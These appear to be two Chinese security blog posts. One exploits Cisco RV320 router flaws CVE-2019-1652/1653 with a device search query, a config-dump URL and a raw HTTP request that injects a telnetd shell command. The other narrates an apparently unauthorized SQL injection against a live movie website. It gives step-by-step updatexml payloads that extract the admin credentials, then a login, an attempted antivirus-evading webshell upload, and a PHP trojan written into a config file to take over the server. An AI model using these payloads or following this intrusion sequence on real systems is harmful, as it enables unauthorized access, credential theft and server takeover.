CVE-2019-1652 && CVE-2019-1653 Cisco RV320 路由器的配置可以在未经身份验证的情况下通过设备的 Web 界面导出。 fofa 语句 app="CISCO-RV320” 对应poc ip:port/cgi-bin/config.exp 下载的配置文件中有账号和md5的密码,不过md5的格式为 md5($password.$auth_key),其中 auth_key 是一个静态值,可以通过直接访问 / 路径找到。 当然在通过 CVE-2019-1653 获得了账号和md5的密码后可以通过替换登录包的hash进行登录,无需解密 后台可以配合 CVE-2019-1652 进行 rce github上的利用poc由于不支持目标的自签名证书 https://github.com/0x27/CiscoRV320Dump/blob/master/easy_access.py 这里就手动发包进行测试 POST /certificate_handle2.htm?type=4 HTTP/1.1 Host: x.x.x.x Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: mlap=RGVmYXVsdDk6Ojo6Y2lzY28= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 319 page=self_generator.htm&totalRules=1&OpenVPNRules=30&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A&organization=A&organization_unit=A&email=ab%40example.com&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&SelectSubject_s=1&common_name=a%27%24%28telnetd%20-l%20%2Fbin%2Fsh%20- payload执行后会用telnet在本地监听1337口 连接验证 总结 cisco设备国内互联网公司和企事业用得不多,近年来都被国产品牌替换了。 python的poc经常会遇到一些历史遗留问题,比如tls版本过低,依赖库安装报错不兼容等等问题,建议还是用go写poc,利人利己。
记一次SQL注入的收获
一、发现漏洞 1.1. 发现 这是一篇两年前的笔记了。之前平常喜欢看些电影影片,不想充值VIP,才发现的网站,但是这个网站A并不是主要测试的,而是通过发现他的兄弟网站B,然后进行渗透。 1.2. 测试 有事没事对网站动一动,发现A存在XSS,但是并没有多大的利用价值,但是通过友情链接,跳转到了B,就觉得B可能也在同个位置存在XSS但是,令人惊讶的是,我没发现XSS,但是确发现存在SQLI。加了个’,直接把sql语句爆出来了,如下图1。  图 1 二、漏洞利用 2.1 闭合规则 原始的语句: SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share FROM (`y80s_movies`) LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id` WHERE `y80s_movies`.`public` = '1' AND `y80s_movies`.`attribute` NOT LIKE  '%%1%%' AND (name like '%XXX%' or aka like '%XXX%') ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC LIMIT 25 原始报文: HTTP/1.1 500 Internal Server Error Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Accept-Encoding, UserAccount Server: nginx Date: Thu, 29 Oct 2020 01:36:40 GMT Content-Type: text/html; charset=utf-8 X-Powered-By: PHP/5.6.38 X-Cache: MISS from aws-jp08 X-Cache: MISS from asia-hk11 Connection: close Content-Length: 882 Array (     [0] => Error Number: 1064     [1] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or aka like '%xxx%') ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.' at line 6     [2] => SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share FROM (`y80s_movies`) LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id` WHERE `y80s_movies`.`public` = '1' AND `y80s_movies`.`attribute` NOT LIKE  '%%1%%' AND (name like '%XXX%' or aka like '%XXX'%') ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC LIMIT 25     [3] => Filename: /home/wwwroot/XXXX/libraries/datamapper.php     [4] => Line Number: 1410 ) <html> <head> <title>Error</title> </head> <body> hi</body> </html>  XXX为输入的位置,同上可以看出,会同时在两处插入,但其实只需要管一处即可,后面可以注释掉。 当时在考虑,怎么闭合这个规则,怎么执行自己想执行的语句。但是可能被这么长的语句吓到了,不知道从何下手。也可能是因为自己数据库基础不扎实。其实仔细分析,都是可以化繁为简的。这语句也就是select 字段 from 表名 (一个左外连接) where XXX and XXX and XXX order by XXX。以上是我想的,看看老王想的:这个构造看清大逻辑,select xxx from ta left outer join tb on ta.a=tb.b where con1=xxxxx and con2=xxxx oder by a.a,b.b limit 25,然后得出:注入是在whe 2.2 爆数据 这步应该是最多的,一开始自己找不到闭合规则,经常会报错,而且还是乱码,如下图2: 图 2 一开始猜测是回显了数据表,所以导致了乱码,但是并不是,应该只是服务器的问题。这服务器本来就不太稳定,换下查询数据,刷新页面,多试几次就好了。然后思路就想着,构造一个判断语句,通过是与否来判断数据库的信息,然后有了以下的两个payload: 1、%e4%ba%ba') and 1=1 or (‘1’=’1 2、%e4%ba%ba') and exists(select path from y80s_photos) or ('1'='1 但是这payload真的是太傻了,好在报错信息有提供表名和mysql默认表dual,不然都没法判断是否构造完成。接下来是内容由老王指导完成。 通过union或者updatexml进行查询,内容有回显,一开始我并不知道的,后面通过百度查询到了updatexml用法,于是自己构造了个: 1、%e7%88%b1') and updatexml(1,concat('~',(select database()),'~'),3)--+ 获取了数据名80s,如下图3:   图 3 既然可以回显,那紧接着,就是查询所有的表名。 笔记: 查询数据库中所有表名 select table_name from information_schema.tables where table_schema='数据库名' and table_type='base table'; select table_name from information_schema.tables where table_schema='数据库名' 查询指定数据库中指定表的所有字段名column_name select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' 于是构造了 payload:%e7%88%b1') and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='80s' limit 0,1),'~'),3)--+ 其实limit是后面加的,服务器返回:Subquery returns more than 1 row,但是这边只能显示一条,所以一开始思路是使用limit一条一条去查出来,如下图4、图5: 图 4  图 5 利用burp-Intruder爆破出数据库,但是,这样太慢了。 老王提供了个函数group_concat(),group_concat()类似一个聚集函数,把所有内容拼接成字符串,默认用逗号隔开。于是我的payload就变成: %e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s'),'~'),3)--+ 但是,人算不如天算,他回显内容有限制长度的,如下图6: 图 6 看Y80应该可以明显感觉断了,及时看不出来,也不应该就这几个表吧!这时候想到,我们岂不是可以通过limit限制内容,把已经看到了的不输出,我真是天才,然后我构造了payload: %e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s' limit 6,2),'~'),3)--+ 发现页面居然正常跳转了,没有报错,我人傻了,估计是sql语句又哪里有问题了吧!后面看了老王的,他构造的是: 123333') and updatexml(1,concat(0x7e,(select group_concat(x.movie_id) from (select movie_id from hits limit 3,3)x),0x7e),1)--+ select group_concat(x.movie_id) from x,从x表查询movieid,然后聚集成一行,x表是个别名,x  =  seelect movie_id from hits limit 3,3,从hits查movieid,从记录3往后查3条,结果是个一列三行的数据临时表,然后前面配合聚集,把这三行连接,这样就不用limit a,1这种,每次限制一行记录,这个可以limit a,5这样,一次查五条。搜嘎! 由于我只是想登入后台,尝试找出管理员的表即可,我就还是一个一个试,最终找到管理员表y80s_managers,然后根据payload: %e6%98%9f') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='80s' and table_name='y80s_managers'),'~'),3)--+ 查询出字段名id,name,password,right_id,lock等,如下图7: 图 7 但是我们主要还是账号名密码,所以继续!构造payload: %e5%a6%bb') and updatexml(1,concat('~',(select group_concat(name) from y80s_managers),'~'),3)--+ 如下图8: 图 8 可以看到,只有一个账户,name为me****zz,再查询密码,如下图9: 图 9 忘记这个是有限制字段的,也没注意看是否是以~结尾,然后拿去md5解密,发现解不开,数了一下,31位的md5?这时候才发现,后面还有。于是使用substr函数,去截取后面的字段,回显! Payload:%e6%96%b0') and updatexml(1,concat('~',(select substr(password,31) from y80s_managers),'~'),3)--+ Substr(str,pos,len),pos开始的位置,len为长度,str字符串,len没输入的时候默认是pos开始截取到最后的位置。于是有了以下图10: 图 10 果然掉了一位,最后得到md5:9356*************63c 三、解密账号密码 3.1成功登录 Md5解开后得到账号名密码: Me****zz,935********63c(pj*****@) 然后使用dirsearch,搜索出后台(其实我是先找到后台才想着去注入的),成功登录,如下图11:  图 11 原本想删除登录记录的,但是发现这后台功能有点简陋,好像没有发现有登录记录之类的,就没先下了,后续再二次进攻! 3.2 收获其他信息 以下是收集到的其他信息: database:80s mysql5.6.44 table:hits,y80s_ads,y80s_articles,y80s_bigphotos,y80s_caijis,y80s_cast_infos,y80s_casts,y80s_casts_movies,y80s_directors_movies,y80s_directors, y80s_dlurls,y80s_dlurls_movies,y80s_doubans,y80s_duoshuo_comments,y80s_forhotmovies,y80s_hits,y80s_hotwords,y80s_infos,y80s_managers,y80s_moviedesc_ups y80s_ads: id title name content y80s_managers: id,name,password,right_id,lock 四、寻找上传点 发现该网站存在设置影片的图片,直接上免杀马。免杀马是github上大佬写的生成工具,已测试过是可以过360和D盾的。链接:https://github.com/pureqh/Troy   服务器直接报错。多番尝试发现无法上传马。还发现了数据库备份,但是貌似无法修改数据库扩展名。 五、柳暗花明又一村 在查看网站功能的时候,我又发现了另一个好东西:  配置文件编辑。直接把一句话木马写到配置文件里面。通过写入<?php phpinfo();?>后,发现在每个页面初始化的时候,都会去调用该配置文件。直接getshell。 六、小结 闭合规则是花费时间最长的,还有后面要利用的时候,构造payload也是我花费时间最多的,基本都是百度上查,很多都不懂,两个的根本原因还是因为对sql注入,乃至数据库的基础都不是很懂,很多函数,都不知道,不知道有功能有什么函数,在利用的时候就难以下手,耗费大量时间。其次还可通过mysql直接写入shell的,这个也是后面才知道的,不过写入shell的前提条件较为苛刻。